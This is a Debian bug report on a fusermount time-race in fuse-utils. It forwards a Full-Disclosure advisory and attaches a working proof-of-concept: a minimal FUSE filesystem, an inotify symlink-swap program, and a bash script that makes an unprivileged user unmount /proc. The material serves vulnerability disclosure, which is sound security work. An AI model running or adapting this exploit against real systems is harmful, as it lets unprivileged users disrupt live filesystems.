Package: fuse-utils
Version: 2.7.4-1.1+lenny1
Severity: grave
File: /usr/bin/fusermount
Tags: security
Justification: user security hole


As reported on a public mailing list, fusermount in Ubuntu allows
unprivileged users to unmount anything. I wonder if Debian is affected.
Relevant files attached below.

Cheers,

Paul Szabo   p...@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia


-- System Information:
Debian Release: 5.0.6
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 2.6.32-pk04.00-svr (SMP w/8 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)
Shell: /bin/sh linked to /bin/bash

Versions of packages fuse-utils depends on:
ii  adduser                 3.110            add and remove users and groups
ii  libc6                   2.7-18lenny6     GNU C Library: Shared libraries
ii  libfuse2                2.7.4-1.1+lenny1 Filesystem in USErspace library
ii  makedev                 2.3.1-88         creates device files in /dev
ii  sed                     4.1.5-6          The GNU sed stream editor
ii  udev                    0.125-7+lenny3   /dev/ and hotplug management daemo

fuse-utils recommends no packages.

fuse-utils suggests no packages.

-- no debconf information
Title: [Full-disclosure] fusermount: Unmount any filesystem

[Full-disclosure] fusermount: Unmount any filesystem

halfdog me at halfdog.net
Tue Nov 2 17:44:11 GMT 2010


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello List,

To evaluate the pros and cons of various disclosure methods, I'm trying
full disclosure this time:

At least on ubuntu lucid, the fusermount tool contains a timerace
mounting a user filesystem and updating mtab, thus mtab entries with
arbitrary path can be created. Crafted mtab entries can then be used to
unmount live parts of the filesystem.

http://www.halfdog.net/Security/FuseTimerace/

- -- 
http://www.halfdog.net/
PGP: 156A AE98 B91F 0114 FE88  2BD8 C459 9386 feed a bee
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFM0E3rxFmThv7tq+4RAmavAJ9JNdwF6R0gv1FlIZ3to1QrkQs90wCgkUvA
IpD9Wfe/viLLIMLEfE1B2yo=
=tFrk
-----END PGP SIGNATURE-----



Full-Disclosure is hosted and sponsored by Secunia.

Attachment: www.halfdog.net:Security:FuseTimerace:index.html
Description: XML document

/** Minimal userspace file system demo, compile using
 *  gcc -D_FILE_OFFSET_BITS=64 -lfuse -Wall FuseMinimal.c -o FuseMinimal
 *
 *  Copyright (c) halfdog <m...@halfdog.net>
 *  
 *  This software is provided by the copyright owner "as is" to
 *  study it but without any expressed or implied warranties, that
 *  this software is fit for any other purpose. If you try to compile
 *  or run it, you do it solely on your own risk and the copyright
 *  owner shall not be liable for any direct or indirect damage
 *  caused by this software.
 */

#define FUSE_USE_VERSION 26

#include <errno.h>
#include <fuse.h>
#include <string.h>

static int io_getattr(const char *path, struct stat *stbuf) {
  int res=-1;
  memset(stbuf, 0, sizeof(struct stat));
  if (strcmp(path, "/") == 0) {
    stbuf->st_mode=S_IFDIR|0755;
    stbuf->st_nlink=2;
    res=0;
  }
  return(res);
}


static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
    off_t offset, struct fuse_file_info *fi) {
  (void) offset;
  (void) fi;
  if(strcmp(path, "/")!=0) return -ENOENT;

  filler(buf, ".", NULL, 0);
  filler(buf, "..", NULL, 0);
  return 0;
}

static struct fuse_operations hello_oper = {
  .getattr      = io_getattr,
  .readdir      = io_readdir,
};

int main(int argc, char *argv[]) {
  return fuse_main(argc, argv, &hello_oper, NULL);
}
/** This program waits for notify of file/directory to replace
 *  given directory with symlink.
 *  Parameters:
 *  * --LinkTarget: If set, the MovePath is replaced with link to
 *    this path
 *  Usage: DirModifyInotify.c --Watch [watchfile0] --WatchCount [num]
 *      --MovePath [path] --LinkTarget [path]
 *  gcc -o DirModifyInotify DirModifyInotify.c
 *
 *
 *  Copyright (c) halfdog <m...@halfdog.net>
 *  
 *  This software is provided by the copyright owner "as is" to
 *  study it but without any expressed or implied warranties, that
 *  this software is fit for any other purpose. If you try to compile
 *  or run it, you do it solely on your own risk and the copyright
 *  owner shall not be liable for any direct or indirect damage
 *  caused by this software.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>

int main(int argc, char **argv) {
  char	*movePath=NULL;
  char	*newDirName;
  char	*symlinkTarget=NULL;

  int	argPos;
  int	handle;
  int	inotifyHandle;
  int	inotifyDataSize=sizeof(struct inotify_event);
  struct inotify_event *inotifyData;
  int	randomVal;
  int	callCount;
  int	targetCallCount=0;
  int	debugFlag=0;
  int	ret;

  if(argc<4) return(1);
  inotifyHandle=inotify_init();

  for(argPos=1; argPos<argc; argPos++) {
    if(!strcmp(argv[argPos], "--Debug")) {
      debugFlag=1;
      continue;
    }

    if(!strcmp(argv[argPos], "--LinkTarget")) {
      argPos++;
      if(argPos==argc) exit(1);
      symlinkTarget=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--MovePath")) {
      argPos++;
      if(argPos==argc) exit(1);
      movePath=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--Watch")) {
      argPos++;
      if(argPos==argc) exit(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
      ret=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
      if(ret==-1) {
        fprintf(stderr, "Failed to add watch path %s, error %d\n",
            argv[argPos], errno);
        return(1);
      }
      continue;
    }

    if(!strcmp(argv[argPos], "--WatchCount")) {
      argPos++;
      if(argPos==argc) exit(1);
      targetCallCount=atoi(argv[argPos]);
      continue;
    }

    fprintf(stderr, "Unknown option %s\n", argv[argPos]);
    return(1);
  }

  if(!movePath) {
    fprintf(stderr, "No move path specified!\n" \
        "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
        "    --LinkTarget [path]\n");
    return(1);
  }

  fprintf(stderr, "Using target call count %d\n", targetCallCount);

// Init name of new directory
  newDirName=(char*)malloc(strlen(movePath)+256);
  sprintf(newDirName, "%s-moved", movePath);
  inotifyData=(struct inotify_event*)malloc(inotifyDataSize);

  for(callCount=0; ; callCount++) {
    ret=read(inotifyHandle, inotifyData, inotifyDataSize);
    if(callCount==targetCallCount) {
/*
      ret=rmdir("tmp/tmp");
      if(!ret) fprintf(stderr, "rmdir failed, error %d\n", errno);
*/
      rename(movePath, newDirName);
      if(symlinkTarget) symlink(symlinkTarget, movePath);
      fprintf(stderr, "Move triggered at count %d\n", callCount);
    }
    if(debugFlag) {
      fprintf(stderr, "Received notify %d, ret %d\n", callCount, ret);
    }
    if(ret<0) {
      break;
    }
  }
  return(0);
}
#!/bin/bash
#
# Copyright (c) halfdog <m...@halfdog.net>
#
# This software is provided by the copyright owner "as is" to
# study it but without any expressed or implied warranties, that
# this software is fit for any other purpose. If you try to compile
# or run it, you do it solely on your own risk and the copyright
# owner shall not be liable for any direct or indirect damage
# caused by this software.

mkdir -p tmp/proc
(cd tmp/proc; sleep 1; ../../FuseMinimal .) &
(./DirModifyInotify --Watch tmp/proc --Watch /etc/mtab --WatchCount 8 --MovePath tmp --LinkTarget /) &
sleep 3
fusermount -u -z /proc/
# Check that proc was unmounted by running ps
ps aux

Reply via email to